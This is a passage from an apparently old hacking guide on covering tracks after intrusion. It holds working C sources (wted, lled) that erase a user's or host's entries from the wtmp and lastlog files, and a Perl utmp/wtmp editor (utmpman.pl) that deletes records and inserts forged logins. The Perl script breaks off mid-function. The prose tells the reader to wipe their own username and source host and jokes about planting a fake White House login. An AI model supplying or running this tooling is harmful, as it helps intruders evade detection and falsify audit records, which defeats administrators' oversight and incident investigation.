      strcpy(tmpstr,ctime(&(ptr->ut_time)));
      tmpstr[strlen(tmpstr)-1]='\0';
      printf("%s\t",tmpstr);
      printf("%s\n",ptr->ut_host);
      }
      
      erase(name,host)
      char *name,*host;
      {
      int fp=-1,fd=-1,tot=0,cnt=0,n=0;
      struct utmp utmp;
      unsigned char c;
      if (fp=open(file,O_RDONLY)) {
              fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
              while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
                      if (host)
                              if (strstr(utmp.ut_host,host)) tot++;
                              else {cnt++;write(fd,&utmp,sizeof(struct utmp));}
                      if (name) {
                      if (strcmp(utmp.ut_name,name)) {cnt++;
                              write(fd,&utmp,sizeof(struct utmp));}
                      else { 
                              if (n>0) {
                                      n--;cnt++;
                                      write(fd,&utmp,sizeof(struct utmp));}
                              else
                              {
                              printinfo(&utmp);
                              printf("Erase entry (y/n/f(astforward))? ");
                              c='a';
                              while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
                              if (c=='f') {
                                      cnt++;
                                      write(fd,&utmp,sizeof(struct utmp));
                                      printf("Fast forward how many entries? ");
                                      scanf("%d",&n);}
                              if (c=='n') {
                                      cnt++;
                                      write(fd,&utmp,sizeof(struct utmp));
                                      }
                              if (c=='y') tot++;
                              } 
                            } }                                       
              }
              close(fp);
              close(fd);
              }
      printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
      printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
      }
      
      remnull(name)
      char *name;
      {
      int fp=-1,fd=-1,tot=0,cnt=0,n=0;
      struct utmp utmp;
      if (fp=open(file,O_RDONLY)) {
              fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
              while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
                      if (utmp.ut_time) {
                              cnt++;
                              write(fd,&utmp,sizeof(struct utmp));
                      }
                      else
                              tot++;
              }
              close(fp);
              close(fd);
              }
      printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
      printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
      }
      
      usage()
      {
      printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
      printf("\t-h\tThis help\n");
      printf("\t-f\tUse FILE instead of default\n");
      printf("\t-a\tShow all entries found\n");
      printf("\t-u\tShow all entries for USER\n");
      printf("\t-b\tShow NULL entries\n"); 
      printf("\t-e\tErase USER completely\n");
      printf("\t-c\tErase all connections containing HOST\n");
      printf("\t-z\tShow ZAP'd entries\n");
      printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
      }
      ---------------------- cut here
      
      You might also have to clean stuff out of the file /vat/adm/lastlog
      
      For this use the lled.c.  Compile the program and name it lled.
      
      Here is a menu from the program when you type ./lled
      
      [4:04am][/home/paris/compile]lled
      Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
      -h      This help
      -f      Use FILE instead of default
      -a      Show all entries found
      -u      Show all entries for USER
      -b      Show NULL entries
      -e      Erase USER completely
      -c      Erase all connections containing HOST
      -z      Show ZAP'd entries
      -x      Attempt to remove ZAP'd entries completely
      
      It would be good to try to view first using -u, but many times it will not
      show your username in the lastlog, but it will still have your host, so I
      have found that if you know what to look for you can just type something like:
      If my host name that I was coming from was machine.edit.com, I could type
      
      lled -e username -c machine.edit
      
      If you need to view the lastlog your host entry should be at the end of the
      file, just type: lled -a
      
      chmod the file lastlog.tmp 644 and copy the file over the top of the lastlog
      file in the log directory just like you did above for the wted.
      
      BE SURE TO SET THE PATH FOR YOUR lastlog below!
      
      Ok here is your lled.c
      -------------------------- cut here
      #include <stdio.h>
      #include <time.h>
      #include <lastlog.h>
      #include <fcntl.h>
      
      char *file="/var/adm/lastlog";
      
      main(argc,argv)
      int argc;
      char *argv[];
      {
      int i;
      if (argc==1) usage();
      for(i=1;i<argc;i++)
              {
              if(argv[i][0] == '-')
                      {
                      switch(argv[i][1])
                              {
                              case 'b': printents(""); break;
                              case 'z': printents("Z4p"); break;
                              case 'e': erase(argv[i+1]); break;
                              case 'c': erase(0,argv[i+1]); break;
                              case 'f': file=argv[i+1]; break;
                              case 'u': printents(argv[i+1]); break;
                              case 'a': printents("*"); break;
                              case 'x': remnull(argv[i+1]); break;
                              default:usage();
                              }
                      }
              }
      }
      
      printents(name)
      char *name;
      {
      struct lastlog utmp,*ptr;
      int fp=-1;
      ptr=&utmp;
      if (fp=open(file,O_RDONLY))
              {
              while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog))
                      {
                      if ( !(strcmp(name,ptr->ll_line)) || (name=="*") ||
                      (!(strcmp("Z4p",name)) && (ptr->ll_time==0)))
                              printinfo(ptr);
                      }
              close(fp);
              }
      }
      
      printinfo(ptr)
      struct lastlog *ptr;
      {
      char tmpstr[256];
      printf("%s\t",ptr->ll_line);
      strcpy(tmpstr,ctime(&(ptr->ll_time)));
      tmpstr[strlen(tmpstr)-1]='\0';
      printf("%s\t",tmpstr);
      printf("%s\n",ptr->ll_host);
      }
      
      erase(name,host)
      char *name,*host;
      {
      int fp=-1,fd=-1,tot=0,cnt=0,n=0;
      struct lastlog utmp;
      unsigned char c;
      if (fp=open(file,O_RDONLY)) {
              fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
              while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
                      if (host)
                              if (strstr(utmp.ll_host,host)) tot++;
                              else {cnt++;write(fd,&utmp,sizeof(struct lastlog));}
                      if (name) {
                      if (strcmp(utmp.ll_line,name)) {cnt++;
                              write(fd,&utmp,sizeof(struct lastlog));}
                      else { 
                              if (n>0) {
                                      n--;cnt++;
                                      write(fd,&utmp,sizeof(struct lastlog));}
                              else
                              {
                              printinfo(&utmp);
                              printf("Erase entry (y/n/f(astforward))? ");
                              c='a';
                              while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
                              if (c=='f') {
                                      cnt++;
                                      write(fd,&utmp,sizeof(struct lastlog));
                                      printf("Fast forward how many entries? ");
                                      scanf("%d",&n);}
                              if (c=='n') {
                                      cnt++;
                                      write(fd,&utmp,sizeof(struct lastlog));
                                      }
                              if (c=='y') tot++;
                              } 
                            } }                                       
              }
              close(fp);
              close(fd);
              }
      printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
      printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
      }
      
      remnull(name)
      char *name;
      {
      int fp=-1,fd=-1,tot=0,cnt=0,n=0;
      struct lastlog utmp;
      if (fp=open(file,O_RDONLY)) {
              fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
              while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
                      if (utmp.ll_time) {
                              cnt++;
                              write(fd,&utmp,sizeof(struct lastlog));
                      }
                      else
                              tot++;
              }
              close(fp);
              close(fd);
              }
      printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
      printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
      }
      
      usage()
      {
      printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
      printf("\t-h\tThis help\n");
      printf("\t-f\tUse FILE instead of default\n");
      printf("\t-a\tShow all entries found\n");
      printf("\t-u\tShow all entries for USER\n");
      printf("\t-b\tShow NULL entries\n"); 
      printf("\t-e\tErase USER completely\n");
      printf("\t-c\tErase all connections containing HOST\n");
      printf("\t-z\tShow ZAP'd entries\n");
      printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
      }
      ---------------------------------------------------------------- cut here
      
      A good perl script for editing utmp, wtmp, and checking processes.
      It will also let you insert lines in wtmp.  So if you need to play you
      can add clinton.whitehouse.gov logging into port ttyp3 and show he stayed
      on the system for a few hours!
      
      Running 'check' will let you know if someone is on the system and not showing
      up in the utmp log.  Admins like to hide the fact that they are online
      sometimes.  This will allow you to see their connection.  You must be root to
      run the script, and they need perl 5.003+ on thier system.  After starting
      the script just type help.
      
      Here are some of the basic commands:
      
      starts by loading wtmp
      
      delete user username
      delete host hostanme
      write
      
      read wtmp
      delete user username
      delete host hostname
      write
      
      do help for the rest ... the best wtmp,wtmp editor around!
      
      Say thankyou i-e ;)
      
      -----------------------start of utmpman.pl
      #!/usr/bin/perl -w
      #
      # Variable defines.
      my($utmp_location) = "/var/run/utmp";
      my($wtmp_location) = "/var/log/wtmp";
      my($shells_location) = "/etc/shells";
      my($ttybase) = "tty";
      my($ttyrange) = "pqrs";                 # TTYrange standard on most linux systems.
      my($ttyports) = "012345657689abcfef";   # TTYports standard on most linux systems.
      
      # Global initializations.
      my($active_file) = "";
      my(%entries) = {};
      my(@cmdline) = ();
      my(@shells) = ();
      
      # Display banner.
      print "\nutmp Manager v0.8\n\n";
      
      # Access check.
      die("utmpman :: You must be root to run this application!\n") unless ($> == 0);
      
      # Read in valid shells.
      if (defined($shells_location)) {
        open(SHELLFILE, "<$shells_location");
        @shells = <SHELLFILE>;
        close(SHELLFILE);
      }
      # Process "basename" of each shell.
      @shells = map( { /([^\/\n]+)\n*$/; $1; } @shells);
                                       
      print push(@shells) . " valid shells in $shells_location: @shells\n" if (defined(@shells));
      readfile("$utmp_location");
      print("\nutmpman: $active_file> ");
      while (<STDIN>) {
        process_cmd(split);
        print("\nutmpman: $active_file> ");
      }
      
      sub process_cmd {
        return if (!defined(@_));
        my(@line) = map { lc($_) } @_;
        
        $_ = shift(@line);
        SWITCH: {
              /^check$/     && do {
                                 check_func(@line);
                                 last SWITCH;
                               };
      
              /^delete$/    && do {
                                 del_func(@line);
                                 last SWITCH;
                               };  
                               
              /^help$/      && do {
                                 help_func();
                                 last SWITCH;          
                               };
                                            
              /^insert$/    && do {
                                 ins_func(@line);
                                 last SWITCH;
                               }; 
                                            
              /^list$/      && do {
                                 list_func(@line);
                                 last SWITCH;
                               };
      
              /^read$/      && do {
                                 read_func(@line);
                                 last SWITCH;
                               };
                                                                                                    
              /^write$/     && do {
                                 write_func(@line);
                                 last SWITCH;
                               };              
                                                          
              /^quit|exit$/ && exit(0);
              
              # DEFAULT. 
              print ("Invalid command.\n");       
        }
      }
      
      
      # HELP
      
      sub help_func {
        print << "EOM";
      
      utmpManager Help
      ----------------
      
      Note: - <n> is an argument.
            - [id=] is a token which expects a value as part of command
              (ie, insert id=p5 user=root 11/23/96). See the insert command.
            - A line is the full name to the tty port, ie ttyp0.
            - An id is the *unique* representation of the port
              (without the tty, etc), ie "p0" (for ttyp0).
      
        check
          - Perform user consistancy check. Use this to make sure that the data in
            utmp agrees with who is actually on the machine. This is useful in
            determining if a user is online with hidden ports, running nohup'd
            processes, or running iScreen.
      
        delete <x>-<y>
          - Delete entries #x to #y.
      
        delete host <host>
          - Delete *all* entries which match the substring <host>.
      
        delete line|id <line|id>
          - Delete entry containing <line> or <id>.
      
        insert {id=|line=} [type=] [user=] [host=] [ConnTime] {LogoffTime}
          - Insert an entry into utmp/wtmp files specifying any combination
            of id/line, type, username, host, connection time, and logoff time.
            (LogoffTime only valid for WTMP files.)
      
        list host <host>
          - List all entries matching the substring <host>.
      
        list line|id <line|id>
          - List all entries matching <line> or <id>.
      
        read utmp|wtmp|<filename>
          - Read entries from either default wtmp, default utmp, or an arbitrary
            filename. Note: arbitrary filenames MUST start with either "utmp" or
            "wtmp" to be used with this editor. Rename files *outside* of this
            editor if necessary. If read is executed without any arguments, it
            rereads the last given filename, which is displayed on the prompt.
      
        write {filename}
          - Write entries to file {filename}. If write is executed without any
            arguments, then entries will be written to the last given filename,
            which is displayed on the prompt.
      
      EOM
      }
      
      # DELETE
      
      sub del_func {
        my(@params) = @_;
      
        if (!push(@_)) {
          print("delete :: Not enough parameters. See \"help\" for syntax.\n");
          return undef;
        } elsif ($params[0] =~ /host|user|id|line/) {
          del_by_data(@_);
        } elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) {
          del_by_range($params[0]);
        } elsif ($params[0] =~ m/^(\d+)$/) {
          del_by_range("$1-$1");
        }
        
        # Renumber list after delete operation.
        resync();
      }
      
      
      sub del_by_range {
        my($range)=shift;
        $range =~ m/(\d+)*-(\d+)*/;
        my($lo, $hi, $count)=($1, $2, 0);
        
        $lo = 0 if (!defined($lo));
        $hi = scalar(keys(%entries)) if (!defined($hi));
        
        foreach (sort( { $a <=> $b } keys(%entries))) {
          if (($_ >= $lo) && ($_ <= $hi)) {
            delete($entries{$_});
            $count++;
          }
        }
        print "$count entries deleted.\n";
      }               
      
      
      sub del_by_data {
        my($op, $data) = @_;
        my($count) = 0;
      
        if ((length($data) < 5) && ($op eq "host")) {
          print "Must specify at least 5 characters for delete hostmask.\n";
          return undef;
        } elsif (((length($data) > 4) && ($op eq "id"))||
                 ((length($data) > 11) && ($op eq "line"))) {
          print "Invalid $op specified.\n";
          return undef;
        }
        # Note: If we are deleting by user, then user must match, *exactly*!
        $data = "^" . pack("a8", $data) . "\$" if ($op eq "user");
        foreach (sort( { $a <=> $b } keys(%entries))) {
          if (%{$entries{$_}}->{$op} =~ m/$data/i) {
            delete($entries{$_});
            ++$count;
          }
        }
        if (!$count) {
          print "No $op entries matching $data.\n";
        } else {
          print "$count entries deleted.\n";
        }
      }
      
      
      # INSERT
      
      # Date1 Time1 = DateTime1 => mm/dd/[cc]yy[:hh:mm[:ss]]
      # Date2 Time2 = DateTime2 => (see above)
      # user=<username>
      # host=<hostname>
      # id=<id> | line=<line>
      #
      # utmp:
      # insert {id=|line=} [type=] [user=] [host=] [DateTime]
      # wtmp:
      # insert {id=|line=} [user=] [host=] [DateTime1] {DateTime2}
      
      sub ins_func {
        my(%cmdopt)={};
        my($datetime1, $datetime2, $gmdate, $gmdate2);
      
        # Get random pid out of the way.
        $cmdopt{"pid"} = int(rand(32656)+100);
        $cmdopt{"addr"} = pack("a4", "");
      
        # Get command options.
        foreach (@_) {
          if (/=/) {
            local($key, $value)=split(/=/);
            $cmdopt{$key} = $value;
          } else {
            if (!defined($datetime1)) {
              $datetime1 = $_;
              next;
            }
            if (!defined($datetime2)) {
              $datetime2 = $_ ;
              next;
            }
            print "insert :: Invalid options specified. Please see \"help\" for syntax.\n";
            return undef;
          }
        }
      
        # Check for an illegal pair or illegal option.
        foreach (keys(%cmdopt)) {
          if (!(/^host|id|line|type|user|addr$/)) {
            print "insert :: Invalid options specified. Please see \"help\" for syntax.\n";
            return undef;
          }
          if (($_ eq "last") && ($active_file !~  m!/*utmp[^/]*$!i)) {
            print "insert :: LAST option only valid for utmp files.\n";
            return undef;
          }     
        }
      
        # Get date in seconds since 1970.
        $gmdate = SecsSince1970($datetime1);
      
        # Get ending date in seconds since 1970.
        $gmdate2 = SecsSince1970($datetime2) if (defined($datetime2));
      
        if (!defined($gmdate) || (!defined($gmdate2) && defined($datetime2))) {
          print "insert :: Invalid date specified.\n";
          return undef;
        }
      
        if (defined($gmdate2)) {
          if ($gmdate2 < $gmdate) {
            print "insert :: First date/time must be *later* than second date/time.\n";
            return undef;
          }
        }
      
        if (defined($cmdopt{"id"}) && defined($cmdopt{"line"})) {
          print "insert :: Insert by LINE or ID only. Please do not specify both.\n";
          return undef;
        }
      
        my($op);
      
        if (!defined($cmdopt{"id"})) {
          $cmdopt{"id"} = $cmdopt{"line"};
          $op = "line";
          if (!($cmdopt{"id"} =~ s/^$ttybase//)) { 
            print "insert :: Invalid line specified.\n"; 
            return undef; 
          }
        } else {
          $cmdopt{"line"} = $ttybase . $cmdopt{"id"};
          $op = "id";
        } 
      
        if (!(defined($cmdopt{"line"}) || defined($cmdopt{"id"}))) {
          print "insert :: Neither LINE nor ID value found. See \"help\" for syntax.\n";
          return undef;
        }
          
        my($searchdata) = ($active_file =~ m!/*utmp[^/]*$!i) ?  
          (pack(($op eq "line") ? "a12" : "a4", $cmdopt{$op})):$cmdopt{$op};
        my($epos1, $npos1, $epos2, $npos2) = ();
        my($oldpos, $count)=("", 0);
      
        foreach (sort( { $a <=> $b } keys(%entries))) {
          if ($active_file =~ m!/*utmp[^/]*$!i) {
            # Handle utmp insertion by line insertion.
            if (%{$entries{$_}}->{$op} eq $searchdata) {
              printf ("insert :: $op $searchdata already exists at position $_\n");
              # This needs to check every option in %cmdopt for defined or null.
              $count = 0;
              foreach (qw(user host time)) {
                if (defined($cmdopt{$_})) {
                  $count++ if ($cmdopt{$_} ne "");
                }
              }
              if (!$count) {
                printf ("insert :: No other data specified. Entry unchanged.\n");
                return undef;
              }
              last;
            }
          } else {
            # Handle wtmp insertion by time position. (Messy)
            $epos1 = $oldpos if (defined($npos1) && !defined($epos1));
            $npos1 = $_ if (%{$entries{$_}}->{"time"} > $gmdate);
            last if (!defined($gmdate2) && defined($epos1));
            $epos2 = $oldpos if (defined($npos2)); 
            $npos2 = $_ if (%{$entries{$_}}->{"time"} > $gmtime2);
            last if (defined($epos2));
          }
          $oldpos = $_;
        }
      
        # Set any unspecified defaults.
        $cmdopt{"user"} = pack("a8", "")  if !defined($cmdopt{"user"});
        $cmdopt{"host"} = pack("a16", "") if !defined($cmdopt{"host"});
        $cmdopt{"type"} = 7               if !defined($cmdopt{"type"});
      
        # Determine end of list insertion positions. (IE, dates entered are after
        # dates in wtmp file or line/id not found in utmp file.
        $epos1 = (scalar(keys(%entries)) + 1) if (!defined($npos1));
        if (defined($datetime2)) {
          $epos2 = (scalar(keys(%entries)) + 1) if (!defined($npos2));
          ++$epos2 if (defined($gmtime2) && !defined($npos1));
        }
      
        # Parse insert data and insert entry.
        $epos1 = sprintf("%7.3f", ($npos1 - $epos1)/2) if (defined($npos1));
        $epos2 = sprintf("%7.3f", ($npos2 - $epos2)/2)
          if (defined($npos2) && defined($gmdate2));
      
        # Insert first entry.
        $cmdopt{"time"} = $gmdate;  
        @{$entries{$epos1}}{qw(type pid line id time user host addr)} = 
                 @{%cmdopt}{qw(type pid line id time user host addr)};
      
        if (defined($epos2)) {
          $cmdopt{"user"} = pack("a8", "");
          $cmdopt{"host"} = pack("a16","");
          $cmdopt{"id"}   = pack("a4", "");
          $cmdopt{"time"} = $gmdate2;
       
          @{$entries{$epos2}}{qw(type pid line id time user host addr)} =
                   @{%cmdopt}{qw(type pid line id time user host addr)};
        }
      
        resync();
      }
      
      
      # LIST
      
      sub list_func {
        my(@params) = @_;
      
        if (!push(@_) || ($params[0] eq "all")) {
          list_by_range("-");
          return 0;
        } elsif ($params[0] =~ /^host|user|id|line$/) {
          list_by_data(@_);
          return 0;
        } elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) {
          list_by_range($params[0]);
          return 0;
        } elsif ($params[0] =~ m/^(\d+)$/) {
          list_by_range("$1-$1");
          return 0;
        }
                                
        print ("list :: Error in parameters. See \"help\" for syntax.\n");
        return undef;
      }    
      
      
      sub list_by_data {
        my($op, $data) = @_;
        my($count) = 0;
      
        foreach (sort( {$a <=> $b} keys(%entries))) {
          if (%{$entries{$_}}->{$op} =~ m/$data/i) {
            list_entry($_);
            ++$count;
          }
        }
        print "No $op entries matching $data.\n" if (!$count);
      }
      
      
      sub list_by_range {
        my($range)=shift;
        $range =~ m/(\d+)*-(\d+)*/;
        my($lo, $hi)=($1, $2);
        
        $lo = 0 if (!defined($lo));
        $hi = scalar(keys(%entries)) if (!defined($hi));
        
        foreach (sort( { $a <=> $b } keys(%entries))) {
          if (($_ >= $lo) && ($_ <= $hi)) {
            list_entry($_);
          }
        }
      }               
      
      
      sub list_entry {
        printf("#%3d - " . gmtime(%{$entries{$_}}->{"time"}), $_);
        printf("  %s/%s", @{$entries{$_}}{qw(id line)});
        printf(": %s ", %{$entries{$_}}->{"user"})
          if (%{$entries{$_}}->{"user"} ne pack("a8", ""));
        printf("from %s", %{$entries{$_}}->{"host"}) 
          if (%{$entries{$_}}->{"host"} ne pack("a16", ""));
        if (%{$entries{$_}}->{"addr"} ne "\0\0\0\0") {
          printf(" (%s)", longtodot4(%{$entries{$_}}->{"addr"}));
        }
        print ("\n");
        printf("%7sPID = %u\n", "", %{$entries{$_}}->{"pid"}) 
          if (%{$entries{$_}}->{"pid"} && (%{$entries{$_}}->{"user"} ne pack("a8","")));
      }
      
      # <Silmaril> printf "#$_ - %s %s/%s: %s from %s\n", @{$v}->{qw(time id line user host)};
      # <Silmaril> now *that's* cool :-)
      # <Silmaril> should be like this: @{$v}{qw(time id line user host)}
      # <Silmaril> I had an extra -> in my first version.
      #
      # Or course, it's changed since then, but - "Thanks, Sil!" :)
      #
      
      
      # READ
      
      
      sub read_func {
        my($arg)=shift;
        
        $arg = $utmp_location if ($arg eq "utmp");
        $arg = $wtmp_location if ($arg eq "wtmp");
        $arg = $active_file if (!defined($arg));
        
        if ($arg !~ m!/*[uw]tmp[^/]*$!) {
          print("read :: Filenames *must* start with either 'wtmp' or 'utmp' to be edited.\n");
          return undef;
        }
        
        readfile($arg);
      }
         
      
      # WRITE
      
      sub write_func {
        my($file)=shift;
        my($count)=0;
        
        $file = $active_file if (!defined($file));
        if ($file !~ m!/*[uw]tmp[^/]*$!) {
          print ("write :: File must start with 'utmp' or 'wtmp'.\nRename file outside this program.\n");
          return undef;
        }
        if (!open(OUTFILE, ">$file")) {
          print ("write :: Can't open $file for output.\n");
          return undef;
        }
        binmode(OUTFILE);
        
        foreach (sort( { $a <=> $b } keys(%entries))) {
          printf OUTFILE ("%s", pack("i L a12 a4 L a8 a16 a4", 
            @{$entries{$_}}{qw(type pid line id time user host addr)}));
          $count++;
        }
        print ("$active_file: " . scalar(keys(%entries)) . " entries written.\n");
        close(OUTFILE);
      }               
      
      
      # CHECK
      
      sub check_func {
        if (push(@_)) {
          print "check :: Invalid options specified. Please see \"help\"\n";
          return undef;
        }
        if ($active_file !~ m!/*utmp[^/]*$!) {
          print "check :: Command can only be run on utmp files.\n";
          return undef;
        }
        
        # Build struct of ports containing port name, device num and owner.
        # Note: Test run in grepstr may *not* be portable for all Unix
        #       types. Be forewarned! This was designed for Linux.
        # Hint: For all intents and purposes, s/^$ttybase([$ttyrange][$ttyports])$/
        #       should return the same as what you expect in "struct utmp->ut_id".
        my($grepstr) = "^($ttybase\[$ttyrange\]\[$ttyports\])\$";
        my(%ports) = {};
        my($user, $rdev) = ();
      
        opendir(DEVDIR, "/dev");
        my(@devfiles) = readdir(DEVDIR);
        @devfiles = grep(/$grepstr/, @devfiles);  
        close(DEVDIR);
        foreach (@devfiles) {
          /^$ttybase([$ttyrange][$ttyports])$/;
          if (!defined($1)) {
            print "check :: Warning! Could not extract port ID from $_.\n";
          } else {
            ($user, $rdev) = (stat("/dev/$_"))[4, 6];
            $user = getpwuid($user);
            $ports{$1} = newport($_, $rdev, $user);
          } 
        }
        
        # Check ownership of /dev ports.
        my(@logdev)=();
        foreach (sort(keys(%ports))) {
          push(@logdev, $_) if (%{$ports{$_}}->{"owner"} ne "root");
        }
        @logdev = sort(@logdev);
            
        # Check utmp (against ports detected as logged in);
        my(@logutmp)=();
        foreach (sort( { $a <=> $b } keys(%entries))) {
          if (defined(%{$entries{$_}}->{"user"}) && defined(%{$entries{$_}}->{"host"}) &&
              defined(%{$entries{$_}}->{"id"})   && defined(%{$entries{$_}}->{"pid"})) {
            push(@logutmp, %{$entries{$_}}->{"id"})  
              if ((%{$entries{$_}}->{"id"} =~ /[$ttyrange][$ttyports]/) &&
                  ((%{$entries{$_}}->{"user"} ne pack("a8", "")) ||
                  ((%{$entries{$_}}->{"host"} ne pack("a16", "")) &&
                   (%{$entries{$_}}->{"id"} ne pack("a4", "")) &&
                   (%{$entries{$_}}->{"line"} ne pack("a12", "")) &&
                   (%{$entries{$_}}->{"pid"} > 0))));
          }
        }
        @logutmp = sort(@logutmp);
      
        # Check PIDs (find processes with active port ids)
        opendir(PIDDIR, "/proc");
        my(%processes) = {};
        my(@portprocesses) = ();
        foreach (grep(/\d+/, readdir(PIDDIR))) {
          local($procdata, $cmdline);
          open(PROCFILE, "</proc/$_/stat");
          $procdata = <PROCFILE>;
          close(PROCFILE);
          if (-e "/proc/$_/stat") {
            local($cmdline, $devnum, $portid);
            ($cmd, $devnum) = (split(/ /, $procdata))[1, 6];
            # Remove surrouding () from command name.
            $cmd =~ s/[\(\)]//g;
            $portid = dev2id(\%ports, $devnum);
            if (defined($portid)) {
              push(@portprocesses, $portid)
                if (!defined(listpos(\@portprocesses, $portid))&&($$ != $_));
              $processes{$_} = newproc($cmd, $portid) if (defined($portid) && ($$ != $_));
            }
          }
        }
        close(PIDDIR);
      
        # A port is *not* logged in if there is no dev entry for port, no utmp entry
        # and no active processes.
        my(@validshellports) = ();
        foreach (sort( { $a <=> $b} keys(%processes))) {
          push(@validshellports, %{$processes{$_}}->{"port"}) 
            if (defined(listpos(\@shells, %{$processes{$_}}->{"cmd"}))&&
                !defined(listpos(\@validshellports, %{$processes{$_}}->{"port"})));
        }
        # Remove ports with valid shells from list of ports with active processes.
        my(@noshellports) = 
          sort(grep(!defined(listpos(\@validshellports, $_)), @portprocesses));
        @validshellports = sort(@validshellports);
        print "Ports with active /dev files: @logdev\n"
          if (defined(@logdev));
        print "Ports with utmp entries: @logutmp\n"
          if (defined(@logutmp));
        print "Ports with valid shells: @validshellports\n" 
          if (defined(@validshellports));
        print "Ports with active processes and *no* shells: @noshellports\n" 
          if (defined(@noshellports));
      }  
        
          
      # GENERAL
      
      sub readfile {
        local($file);
        $file = shift;
        my($index)=1;
        my($buffer)="";
      
        # Insure we have a clean hash table before we start reading in the file.
        foreach (keys(%entries)) {
          undef(%{$entries{$_}});
          delete(${entries{$_}});
        }
          
        open(UTMPFILE, "<$file") || die("utmp-parse: Can't open $file - $!\n");
        binmode(UTMPFILE);
        # 1/17/96, struct utmp is 56 bytes (54 according to addition! :P).  
        while (read(UTMPFILE, $buffer, 56)) {
          $entries{$index++} = newutmp($buffer);
        }
        $active_file = $file;
        print ("$active_file: " . scalar(keys(%entries)) . " entries loaded.\n");
        close(UTMPFILE);
      }
      
      
      sub newutmp {
        my($newbuff) = shift;
        my($longaddr) = 0;
        
        $newnode = bless { 
          "type" => undef, "pid" => undef,  "line" => undef, "id"   => undef,
          "time" => undef, "user" => undef, "host" => undef, "addr" => undef
        }, 'UTMPNODE';
        
        @{$newnode}{qw(type pid line id time user host addr)}=
          unpack("i L a12 a4 L a8 a16 a4", $newbuff);
                                   
        return $newnode;
      }  
      
      
      sub newport {
       
        $newnode = bless {
          "port" => undef, "rdev" => undef, "owner" => undef, "cmd" => undef,
        }, 'PORTNODE';
        
        @{$newnode}{qw(port rdev owner)} = @_;
        
        return $newnode;
      }
      
      
      sub newproc {
       
        $newnode = bless {
          "cmd" => undef, "port" => undef, 
        }, 'PROCNODE';
        
        @{$newnode}{qw(cmd port)} = @_;
        
        return $newnode;
      }
      
      
      # Renumber hashes to default order.
      sub resync {
        my(%newhash) = ();
        my($count)=0;
      
        # Write ordered list in to temporary hash, deleting as we go.
        foreach (sort( {$a <=> $b} keys(%entries))) {
          $newhash{++$count} = $entries{$_};
          delete($entries{$_});
        }
      
        # Copy elements back in to original hash table.
        foreach (sort( {$a <=> $b} keys(%newhash))) {
          $entries{$_} = $newhash{$_};
        }
      }
      
      
      sub longtodot4 {
        my($addr)=shift;
      
        return join(".", map( ord($_), split(//, $addr)));
      }
      
      sub dev2id {
        my($portlist, $rdev) = @_;
      
        foreach (sort(keys(%{$portlist}))) {
          return $_ if (%{$portlist}->{$_}->{"rdev"}==$rdev);
        }                               
        return undef;
      }
      
      
      sub listpos {
        my($arrayref, $search) = @_;
        my($count) = 0;
      
      $^W = 0;
        foreach (@{$arrayref}) {
          return $count if ($search eq ${$arrayref}[$count]);
          $count++;
        }
      $^W = 1;
      
        return undef;
      }
      
      
      ### DATE ROUTINES
      
      # The following code taken & modified from the Date::Manip package.
      # Here is his copyright:
      #
      ## Copyright (c) 1995,1996 Sullivan Beck. All rights reserved.
      ## This program is free software; you can redistribute it and/or modify it
      ## under the same terms as Perl itself.
      
      
      sub SecsSince1970 {
      # Parse as mm/dd/[cc]yy[:hh:mm[:ss]]
        my($datetime) = shift;
        my($m,$d,$y,$h,$mn,$s) = ();
      
        # If date is not defined, then return local current date and time.
        return time() if (!defined($datetime));
      
        $datetime =~ 
          s!^(\d{1,2})/(\d{1,2})/(\d{4}|\d{2})(?:\:(\d{2}):(\d{2})(?:\:(\d{2}))?)?!!;
        ($m, $d, $y, $h, $mn, $s) = ($1, $2, $3, $4, $5, $6);
        $m--;
      
        # Finalize time components and check them.
        $y = (($y < 70) ? "20":"19" . $y) if (length($y)==2); 
      
        # This checks for any *non-matched* portion of $datetime. If there is such
        # an animal, then there is illegal data specified. Also screens for undefined
        # components which HAVE to be in ANY valid date/time (ie, month, day, year).
        return undef if (!defined($m) || !defined($d) || !defined($y) || length($datetime));
      
        # Set time components with unspecified values.
        $s = 0 if (!defined($s));
        $mn = 0 if (!defined($mn));
        $h = 0 if (!defined($h));
      
        # Check for ranges.
        return undef if (($m > 11)    || ($h > 23)    || ($mn > 59)   || ($s > 59));
                           
        # Begin conversion to seconds since 1/1/70.
        my($sec_now,$sec_70)=();
        $sec_now=DaysSince999($m,$d,$y);
        return undef if (!defined($sec_now));
      
        $sec_now--;
        $sec_now = $sec_now*24*3600 + $h*3600 + $mn*60 + $s;
        $sec_70 =30610224000;
        return ($sec_now-$sec_70);
      }
      
      
      sub DaysSince999 {
        my($m,$d,$y)=@_;
        my($Ny,$N4,$N100,$N400,$dayofyear,$days)=();
        my($cc,$yy)=();
      
        $y=~ /^(\d{2})(\d{2})$/;
        ($cc,$yy)=($1,$2);
      
        # Number of full years since Dec 31, 0999
        $Ny=$y-1000;
      
        # Number of full 4th years (incl. 1000) since Dec 31, 0999
        $N4=int(($Ny-1)/4)+1;
        $N4=0         if ($y==1000);
      
        # Number of full 100th years (incl. 1000)
        $N100=$cc-9;
        $N100--       if ($yy==0);
